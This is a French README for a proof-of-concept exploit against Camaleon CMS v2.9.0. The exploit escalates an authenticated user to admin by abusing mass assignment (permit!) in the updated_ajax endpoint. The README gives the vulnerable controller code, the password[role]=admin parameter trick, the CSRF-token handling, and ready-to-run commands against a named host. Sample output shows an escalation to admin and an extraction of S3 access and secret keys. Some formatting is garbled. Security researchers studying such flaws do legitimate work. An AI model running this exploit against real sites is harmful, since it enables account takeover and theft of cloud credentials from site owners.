
Escalade de privilèges authentifiée dans Camaleon CMS v2.9.0 via une gestion incorrecte des paramètres dans le point de terminaison updated_ajax.
Cible: Camaleon CMS
v2.9.0Type: Élévation de privilèges authentifiée via affectation massive dansupdated_ajax(champ rôle) Extras: Extraction optionnelle des paramètres S3 depuis la page des paramètres admin (si l'utilisateur authentifié peut y accéder après l'escalade)
Ce dépôt contient un script Python de preuve de concept qui :
/admin/profile/edit.updated_ajax pour mettre à jour les champs password[...] et abuse de permit! pour définir password[role]=admin.-e) extrait les valeurs de configuration S3 depuis /admin/settings/site.-r) replace le rôle à sa valeur d'origine après l'exécution.Ce comportement correspond au modèle d'affectation massive non sécurisé décrit dans l'avis associé :
L'action du contrôleur ci-dessous met à jour un utilisateur avec permit! :
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Parce que permit! autorise toutes les clés sous password, un attaquant peut envoyer :
password[password]password[password_confirmation]password[role]=adminet l'application l'acceptera, élevant ainsi le rôle de l'utilisateur.
admin.requestsInstaller la dépendance :
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
Le script vérifie dans le HTML retourné la présence d'un lien /admin/logout après le POST de connexion.
Si le lien de déconnexion est présent, la session est considérée comme authentifiée.
Camaleon utilise le CSRF à la Rails. Les jetons se trouvent généralement à deux endroits courants :
name="authenticity_token" value="..."<meta name="csrf-token" content="...">Le PoC récupère le jeton csrf meta depuis /admin/profile/edit et l'utilise dans :
authenticity_token=<token>X-CSRF-Token: <token>Ce code est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation (par exemple, laboratoires, CTF et environnements où vous avez une autorisation explicite). Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester.
| Indicateur | Description |
|---|
-u, --url | URL de base (ex. http://alienone.in) |
-U, --username | Nom d'utilisateur valide |
-P, --password | Mot de passe valide |
--newpass | Mot de passe envoyé dans la requête de mise à jour (par défaut : test) |
-e, --extract | Extraire la configuration S3 depuis la page des paramètres |
-r, --revert | Replacer le rôle à sa valeur d'origine après l'escalade |